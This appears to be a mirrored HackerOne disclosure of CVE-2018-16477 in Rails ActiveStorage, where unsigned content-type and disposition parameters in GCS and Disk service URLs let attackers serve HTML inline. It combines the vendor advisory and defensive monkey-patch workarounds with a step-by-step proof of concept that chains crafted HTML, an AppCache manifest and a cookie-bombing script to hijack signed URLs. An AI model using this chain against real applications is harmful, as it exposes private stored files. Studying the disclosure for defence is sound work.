HexBrain

Ruby on Rails · Report #407319

ActiveStorage service's signed URLs can be hijacked via AppCache+Cookie stuffing trick when using GCS or DiskService

Validstatus
highseverity
8upvotes
27 Dec 2018disclosed

Summary

Bypass vulnerability in Active Storage

There is a vulnerability in Active Storage. This vulnerability has been assigned the CVE identifier CVE-2018-16477.

Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 5.2.1.1

Impact

Signed download URLs generated by ActiveStorage for Google Cloud Storage service and Disk service include content-disposition and content-type parameters that an attacker can modify. This can be used to upload specially crafted HTML files and have them served and executed inline. Combined with other techniques such as cookie bombing and specially crafted AppCache manifests, an attacker can gain access to private signed URLs within a specific storage path.

Vulnerable apps are those using either GCS or the Disk service in production. Other storage services such as S3 or Azure aren't affected.

All users running an affected release should either upgrade or use one of the workarounds immediately. For those using GCS, it's also recommended to run the following to update existing blobs:

ActiveStorage::Blob.find_each do |blob|
  blob.send :update_service_metadata
end

Releases

The FIXED releases are available at the normal locations.

Workarounds

Putting the following monkey patches in an intializer can help to mitigate the issue:

For GCS service:

require 'active_storage'
require 'active_storage/service/gcs_service'

module ActiveStorage
  module GCSMetadata
    def upload(key, io, checksum: nil, content_type: nil, disposition: nil, filename: nil)
      instrument :upload, key: key, checksum: checksum do
        begin
          content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
          bucket.create_file(io, key, md5: checksum, content_type: content_type, content_disposition: content_disposition)
        rescue Google::Cloud::InvalidArgumentError
          raise ActiveStorage::IntegrityError
        end
      end
    end

    def update_metadata(key, content_type:, disposition: nil, filename: nil)
      instrument :update_metadata, key: key, content_type: content_type, disposition: disposition do
        file_for(key).update do |file|
          file.content_type = content_type
          if disposition && filename
            file.content_disposition = content_disposition_with(type: disposition, filename: filename)
          end
        end
      end
    end
  end

  module StoreMetadata
    def upload_without_unfurling(io)
      service.upload key, io, checksum: checksum, **service_metadata
    end

    def identify
      unless identified?
        update! content_type: identify_content_type, identified: true
        update_service_metadata
      end
    end

    private
      def service_metadata
        if forcibly_serve_as_binary?
          { content_type: "application/octet-stream", disposition: :attachment, filename: filename }
        else
          { content_type: content_type }
        end
      end

      def update_service_metadata
        service.update_metadata key, service_metadata if service_metadata.any?
      end
  end
end

Rails.application.config.to_prepare do
  ActiveStorage::Service::GCSService.prepend ActiveStorage::GCSMetadata
  ActiveStorage::Blob.prepend ActiveStorage::StoreMetadata
end

For Disk service:

require 'active_storage'
require 'active_storage/service/disk_service'

module ActiveStorage
  module GetParamsFromKey
    def show
      if key = decode_verified_key
        serve_file disk_service.path_for(key[:key]), content_type: key[:content_type], disposition: key[:disposition]
      else
        super
      end
    rescue Errno::ENOENT
      head :not_found
    end
  end

  module IncludeParamsInKey
    def upload(key, io, checksum: nil, **)
      super(key, io, checksum: checksum)
    end

    def update_metadata(key, **)
    end

    def url(key, expires_in:, filename:, disposition:, content_type:)
      instrument :url, key: key do |payload|
        content_disposition = content_disposition_with(type: disposition, filename: filename)
        verified_key_with_expiration = ActiveStorage.verifier.generate(
          {
            key: key,
            disposition: content_disposition,
            content_type: content_type
          },
          { expires_in: expires_in,
          purpose: :blob_key }
        )

        generated_url = url_helpers.rails_disk_service_url(verified_key_with_expiration,
          host: current_host,
          disposition: content_disposition,
          content_type: content_type,
          filename: filename
        )
        payload[:url] = generated_url

        generated_url
      end
    end
  end
end

Rails.application.config.to_prepare do
  ActiveStorage::DiskController.prepend ActiveStorage::GetParamsFromKey
  ActiveStorage::Service::DiskService.prepend ActiveStorage::IncludeParamsInKey
end

How it was found

ActiveStorage tries to force content-disposition: attachment for a list of content-types, including text/html. However, response-content-type and response-content-disposition in GCS and DiskService's URLs aren't signed, which means an attacker can modify them at will. This is not the case for Azure or S3.

This can be exploited using AppCache and cookie bombing as follows:

  1. Upload the following file as ActiveStorage::Blob File: fallback.html
<html>
<script>
  alert('Your request to the page '+location.href+' is hijacked!');
</script>
</html>

Grab the service signed URL for it and modify content type and content disposition params to text/html and inline.

  1. Now upload this other file using that URL as fallback: File: manifest.appcache
CACHE MANIFEST 
FALLBACK:
/bucket_name/ [fallback_url from previous step]

In the same way, grab the signed service URL and modify content disposition and type to ensure it's served inline and as text/cache-manifest.

  1. Finally, upload this file using the service URL for manifest.appcache: File: main.html
<html manifest="[manifest_url from the manifest above]">
Any requests to this bucket will be hijacked.
<script>
setTimeout(function(){
for(var i = 1e3; i>0; i--){document.cookie = i + '=' + Array(4e3).join('0') + '; path=/'};
}, 3000);
</script>
</html>

Grab the service URL for main.html, modify content type and disposition to ensure it's served as inline and text/html, and trick a user of the Rails app with access to ActiveStorage attachments into clicking it.

Since it'll be open inline and as HTML, the JS code to overflow the cookies for the service (storage.googleapis.com in the case of GCS) will be executed. Next time the user makes a request for a file under the same bucket as main.html, googleapis.com will return an error due to the size of the cookie headers. This will be interpreted as being offline by the browser, which will offer the fallback specified in the manifest. The fallback.html above will be opened inline and as HTML as well, and its JS code executed. That code can be made to send location.href (the signed URL) to the attacker.

Impact

Gain access to signed URLs for private objects, which in practice means access to those objects, as signed URLs is all that is needed.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original